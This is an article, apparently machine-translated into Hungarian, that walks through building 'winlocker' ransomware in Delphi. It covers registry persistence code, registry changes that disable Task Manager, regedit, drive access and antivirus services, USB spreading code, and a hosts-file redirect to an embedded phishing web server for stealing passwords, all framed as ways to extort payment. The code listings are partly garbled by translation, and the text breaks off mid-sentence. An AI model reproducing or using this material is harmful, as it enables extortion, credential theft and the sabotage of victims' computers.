1. HKLM\Software\Microsoft\Windows\CurrentVersion\Run - innen indulnak a programok, amelyek akkor futnak, amikor bármely felhasználó bejelentkezik.
2. HKCU\Software\Microsoft\Windows\Current\Version\Run - a hely hasonló az előzőhöz, kivéve, hogy az aktuális felhasználó programjai innen indulnak.
3. HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices – A felhasználók bejelentkezése előtt futó programok listája.
4. HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run – ez a beállításkulcs felelős a csoportházirendeken keresztül az indításhoz hozzáadott programok indításáért.
5. A HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows egy másik hely, amely a Windows rendszerrel betöltött programok listáját tartalmazza.
6. KHLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon - ez az ág tartalmazza a winlogon hivatkozást, de semmi sem akadályozza meg, hogy megadja a program elérési útját.
7. Mappa automatikus betöltése. Talán a legprimitívebb módszer, de annál némább, sok vírusíró használja.

A javasolt letöltési helyek közül melyiket válassza az alkotáshoz? Nincs pontos válasz, de erősen ajánlott, hogy ne fogadjon mindent a javasolt lehetőségek egyikére sem. Hol jobb kombinációt használni, pl. egyszerre több helyen regisztrálni. Példa a WinAPI-n történő automatikus betöltésre való írásra a 2. listában.
Listázás 1. Bezárható ablak a Windows API-n

Spoiler

WC. cbSize := sizeof(wc) ; WC. stílus := cs_hredraw vagy cs_vredraw; WC. lpfnWndProc := @WindowProc; WC. cbClsExtra := 0 ; WC. cbWndExtra := 0 ; WC. hPéldány := HInstance; WC. hIcon := LoadIcon(0 , idi_alkalmazás) ; WC. hCursor : = LoadCursor(0 , idc_arrow) ; WC. hbrBackground := COLOR_BTNFACE+ 1 ; WC. lpszMenuName := nulla; WC. lpszClassName := "win_main" ; RegisterClassEx(wc) ; leftPos:=20 topPos:=0; windowWidth:=Képernyő. szélesség ; WindowHeight:=Képernyő. Magasság; MainWnd: = CreateWindowEx( 0 , "win_main" , "test" , ws_overlappedwindow, leftPos, topPos, windowWidth, windowHeight, 0 , 0 , Hinstance, nulla) ; SetWindowLong(MainWnd, GWL_HWNDPARENT, GetDesktopWindow) ; SetWindowPos(MainWnd, HWND_TOPMOST, 0 , 0 , 0 , 0 , SWP_NOMOVE vagy SWP_NOSIZE) ; ShowWindow(MainWnd, CmdShow) ; MígÜzenet küldése (Üzenet, 0, 0, 0) csináld kezdődikÜzenet fordítása (Üzenet) ; DispatchMessage(Mesg) ; vége;


Lista 2. WinAPI a rendszerleíró adatbázis használatához

Spoiler

var Kulcs: HKey; kezdődik //Itt helyettesítheti az egyik automatikus betöltési útvonalat. RegOpenKey(HKEY_LOCAL_MACHINE, PChar("útvonal a rendszerleíró adatbázisban" ) , Kulcs) ; RegSetValueEx(kulcs, PChar(paramstr (0 ) ) , 0 , REG_SZ, pchar(paramstr (0) ), lstrlen( pchar(paramstr (0 ) ) ) + 1 ) ; RegCloseKey(Key) ; vége;



Remek ProcessMonitor



Csoportházirend-szerkesztő


Rendszerleíróadatbázis-szerkesztő
A legtöbb felhasználó hozzászokott a beállításjegyzék szerkesztéséhez a Windows beépített beállításjegyzék-szerkesztőjével (regedit). Mivel a vírusunk módosítani fogja a rendszerleíró adatbázist, meg kell akadályoznunk, hogy az orrvérzés egy hanyag felhasználó vegye fel a rendszerleíró adatbázist. Nincs neki semmi, hogy odadugja a kíváncsi orrát, ahol nem szükséges. Ezt a problémát jobb a rendszerleíróadatbázis-szerkesztő elindításának blokkolásával megoldani. A blokkoláshoz elég létrehozni a DisableRegistryTools kulcsot 1-es értékkel a HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System ágban.
Feladatkezelő
Az összes általam látott winlocker kivétel nélkül blokkolta a feladatkezelő elindítását. Nos, ne maradjunk le róluk. Ez a szolgáltatás egy 1 értékű DisableTaskMgr kulcs (dword típusú) létrehozásával valósul meg ugyanabban az ágban, mint a DisableRegistryTools.


Blokkolás eredménye


Programok telepítése és eltávolítása
Különösen ügyes felhasználók a Programok telepítése/eltávolítása kisalkalmazás használatával, a rendszer fertőzése esetén próbáljanak meg vírusirtót telepíteni. Könnyű befogni, ha létrehozza a NoAddRemovePrograms kulcsot 1-es értékkel (dword type), mindet ugyanabban a szakaszban, mint a DisableRegistryTools.
Lemez hozzáférés blokkolása
A felhasználó hangulatának teljes elrontásához általában blokkolhatja a rendszerben lévő lemezekhez való hozzáférést. A felhasználó ne is próbálja meg futtatni a víruskeresőt a pendrive-járól! Ezt a trükköt úgy érjük el, hogy létrehozunk egy NoViewOnDrive kulcsot (a dword beírását) a HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer alatt. A kulcs értékeként adja meg a blokkolt lemez bitmaszkját. Például a C meghajtónál ez 4 lesz. Ha több meghajtót kell blokkolnia, akkor ezek maszkjait hozzá kell adni. Például a 12-es érték a C (4) és D (8) meghajtó blokkolásának felel meg.
Korlátozza az alkalmazás indítását
A rendszerleíró adatbázis segítségével reálisan meghatározható a futtatásra engedélyezett programok listája. Ha ez a lista megtelt, akkor a felhasználó nem tudja elindítani az összes olyan alkalmazást, amely nem szerepel benne. A futtatásra jóváhagyott alkalmazások listája itt jön létre: HKEY_CURRENT_USER\Microsoft\Windows\CurrentVersion\Policies\Explorer\RistrictRun. Miután ebben a szakaszban létrehozta a kulcsokat (REG_SZ típusú) minden engedélyezett programhoz, egy szinttel feljebb kell lépnie, és hozzá kell adnia egy dword típusú RestrictRun paramétert, amelynek értéke 1.
Számítógép-kezelés
Sok rossz dolgot megtehet a felhasználó, ha rendelkezik hozzáféréssel a "Számítógép-kezelés" beépülő modul elindításához. A beépülő modult nem lehet teljesen letiltani a rendszerleíró adatbázis használatával, de a Sajátgép parancsikon helyi menüjéből eltávolítani az elindításhoz szükséges hivatkozást egyszerűbb, mint egy párolt fehérrépa. Mindössze annyit kell tennie, hogy létrehoz egy NoManageMyComputerVerb dword értéket, amely 1 a HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer alatt.
Csökkentjük a szolgáltatásokat
A rendszerleíró adatbázis lehetőségeivel könnyedén letilthatja a felhasználó számára a szükségtelen (például víruskereső) szolgáltatásokat. A rendszerre telepített szolgáltatások teljes listája a HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services ágban található. A szolgáltatás letiltásához módosítsa az indítókulcs értékét. Ha például az "Indítási típus" szolgáltatást "kézi" értékre szeretné állítani, akkor a 3 indítókulcsot kell hozzárendelni. Ha azt szeretné, hogy a vírus tovább tartson az ellenséges rendszerben, akkor azt tanácsolom, hogy tartson adatbázist a víruskereső szolgáltatásokról. Teremtés. Azok. egyértelműen azonosítania kell a víruskereső szolgáltatásokat, és módosítania kell az indítási típusukat.



Az msdn-en minden kérdésre megtalálod a választ


Mi másra van szükségünk?
Megvizsgáltuk bármelyik Winlocker tipikus funkcióit, most itt az ideje elgondolkodni, hogyan lehetne továbbfejleszteni utódainkat. Őszintén szólva nem értem, hogy a profi vírusírók miért nem építenek be további hasznos funkciókat az ilyen vírusokba. Hiszen ott nem garantálja, hogy a felhasználó eléri a mobilt és elküldi a dédelgetett "ku" SMS-t egy rövid számra, ezzel gazdagítva a vírus szerzőjét. Másrészt mindig van lehetőség hasznos információkat ellopni a felhasználó autójából: különféle szolgáltatások jelszavait, dokumentumokat, rögzített skype beszélgetéseket stb. Nem vezetünk be korlátozást, de teljes mértékben frissítjük vírusunkat. Tehát az alábbiakban leírtam hat chipet, amelyeket hasznos lenne megvalósítani egy ilyen „projektben”.
1. tipp: Bárhol szórakoztatóbb együtt
Megfertőzte egy szegény felhasználó számítógépét? Ne felejts el gondoskodni a barátairól! Ne feledje, minél jobban terjed a vírus, annál valószínűbb, hogy pénzt kap. Miután letelepedett egy ellenséges autóra, nem kell hiába vesztegetni az időt, hanem meg kell próbálnia új támpontot találni. Hogyan kell csinálni? Az egyik legegyszerűbb és leghatékonyabb módszer a flash meghajtók figyelése és megfertőzése. Mivel a felhasználók folyamatosan flash meghajtókat használnak, vírusunk könnyen áttelepülhet egyik rendszerről a másikra. A flash meghajtó csatlakoztatásának tényét könnyű meghatározni. Elegendő a WM_DEVICECHANGE eseményt kezelő kódot írni. Lásd a 3. listát egy kódpéldáért.
Listázás 3. Monitor flash meghajtók

Spoiler

var korong: DWORD; kezdődik ügy Msg. WParam nak,-nek DBT_DEVICEARRIVAL: //Ha flash meghajtó van csatlakoztatva ha azután kezdődik //Próbálja meg meghatározni a meghajtó betűjelét lemez : = PDEV_BROADCAST_VOLUME(üzenet LParam ) ^ . dbcv_unitmask ; //Végrehajtja a rosszindulatú kódunkat vége; DBT_DEVICEREMOVECOMPLETE: //Ha a flash meghajtót eltávolították ha(PDEV_BROADCAST_HDR(üzenet LParam ) ^ . dbch_devicetype = DBT_DEVTYP_VOLUME) azután kezdődik //Flash meghajtó lecsatolva vége;


A harmadik listában olyan konstansokat és struktúrákat használtam, amelyek nincsenek leírva a Delphihez mellékelt modulokban. Ezeket magadnak kell leírnod.
2. funkció: A bérleteid a miénk lesznek!
Milyen webszolgáltatásokat használ egy modern felhasználó? Nem kell hét feszítő a homlokodban ahhoz, hogy kitalálj közülük legalább néhányat: mail, osztálytársak, vkontakte, facebook, twitter stb. A lista a végtelenségig folytatható. mire célzok? És emellett, mivel ellenséges területen van, jó lenne összeszedni az összes jelszót. Jól jöhet a jövőben. Ezen túlmenően, ha ilyen ütőkártyák vannak kéznél, valóságossá válik az áldozat stimulálása. Például, miután különböző fiókokból kapott jelszavakat, a vírus szerzője felhasználhatja azokat a személyes adatok megváltoztatására és a jelszavak megváltoztatására. Ennek eredményeként az igazi felhasználó nagyon rossz helyzetbe kerül. Egyszerűen fogalmazva, elveszíti a számláját. Ez már sokkal komolyabb, mint egy lezárt asztal, és ha igen, akkor megnő az esélye, hogy kifizesse a „szolgáltatásait”.

Rögtön felmerül a kérdés, hogy mi a legegyszerűbb módja ennek? Általában a felhasználók közvetlenül a böngészőben tárolják jelszavaikat, így azonnal felvetődik a jelszótároló fájl eltérítésének lehetősége. Az „Evil Comp” cikkben mutattak be példát egy ilyen eltérítésre. Most nem ismétlem magam, inkább mutatok egy alternatív utat.


Az ötlet az, hogy egyszerűen módosítsuk a gazdagépeket. Ez a fájl a következő típusú megfeleléseket tartalmazza: "a webhely szimbolikus címe: ip". A programunknak képesnek kell lennie arra, hogy módosítsa ezt a fájlt, és leképezéseket adjon hozzá a népszerű webszolgáltatásokhoz. "Hová irányítjuk át a felhasználót?". Ehhez felkavarhatja gonosz webhelyét, amelyen népszerű szolgáltatások csalásai találhatók. Ez a módszer könnyen megvalósítható, de a felhasználók tömeges fertőzése esetén az ilyen webhelyek biztosan gyorsabban pusztulnak el, mint a legtöbb elpusztult baktérium. Ebben a tekintetben eltekintünk a javasolt módszertől, de nem egészen a szokásos módon fogunk haladni - egy mini webszervert ágyazunk be a vírusba. Ebben a forgatókönyvben az átirányítási célunk a localhost lesz.
Például:
127.0.0.1
Nem fogjuk fontolóra venni a gazdagép fájl szerkesztését, jobb, ha azonnal megnézzük, hogyan hozhatunk létre WEB-szervert a Delphi segítségével. Ha rendszeres olvasója magazinunknak, akkor már ismernie kell a Winsock API-t. Körülbelül két évvel ezelőtt a kódolási rovatban megjelentek a mindenféle kliens írásáról szóló cikkeim ( FTP kliens, PROXY szerver, IRC stb.) csak api funkciókat használva. Azt javaslom, hogy vegye fel a bejelentést, és alaposan ismerkedjen meg a sabzhevy témával. Ha rájöttél, gyere vissza és szívd el a harmadik listát:
Listázás 4. Házi készítésű WEB szerver

Spoiler

var _barnássárga: sor [ 0 .. 1024] nak,-nek char; _kérés: húr; _temp: húr; _pálya: húr; _FileStream: TFileStream; kezdődik Recv(_kliens, _buff, 1024 , 0 ) ; _request:= húr(_barnássárga); _path := GetFilePath (Másolás (_request, 1 , pos (#13 , _request) ) ) ; _path := ReplaceSlash(_path) ; ha((_útvonal = "" ) vagy(_útvonal = "\" ) ) Azután _path := DocumentRoot + "\" + DirectoryIndex; ( else if ((_path ="\")) Then _path:= DocumentRoot + "\" + DirectoryIndex; ) ha(FileExists(_Path) ) Azután kezdődik _FileStream := TFileStream. Create(_Path, fmOpenRead) ; SendStr(_Client, "HTTP/1.0 200 OK" ) ; SendStr(_Client, "Szerver: xSrV" ) ; SendStr(_Client, "Content-Length:" + IntToStr (_FileStream. Size ) ) ; SendStr(_Client, "Content-Type: " + GetTypeContent(_Path) ) ; SendStr(_Client, "Kapcsolat: bezárás" ) ; SendStr(_Client, "" ) ; SendFile(_Client, _FileStream) ; _FileStream. Ingyenes ; Vége


Most, hogy a classmates.ru oldalon vezetett, az áldozat nem igazi osztálytársakra esik, hanem közvetlenül gonosz szerverünk karmaiba. Természetesen a webszervernek udvariasnak kell lennie, és az osztálytársak valódi oldalát kell megjelenítenie (olvassa el - egy átverési oldal, amelyet előre fel kell készíteni). Nos, akkor minden egyszerű és elcsépelt - a felhasználó beírja a bejelentkezési adatait, ami után a webszerverünk elmenti azokat. Hogy ne legyen őszintén sápadt, célszerű egy oldalt készíteni, ahol leírják, hogy az osztálytársak jelenleg nem elérhetők, vagy valami hasonló. Vagy azonnal küldje el a beírt adatokat valódi osztálytársaknak.
3. szolgáltatás: Ecstasy a felhasználónak
Minden winlocker pénzt kér egy becsületes felhasználótól a számítógép meggyógyításáért (amit mellesleg nem tesznek meg), de ahogy az várható is, nem mindenki hajlandó fizetni (én soha nem fizetnék

A linkek megtekintéséhez be kell jelentkeznie.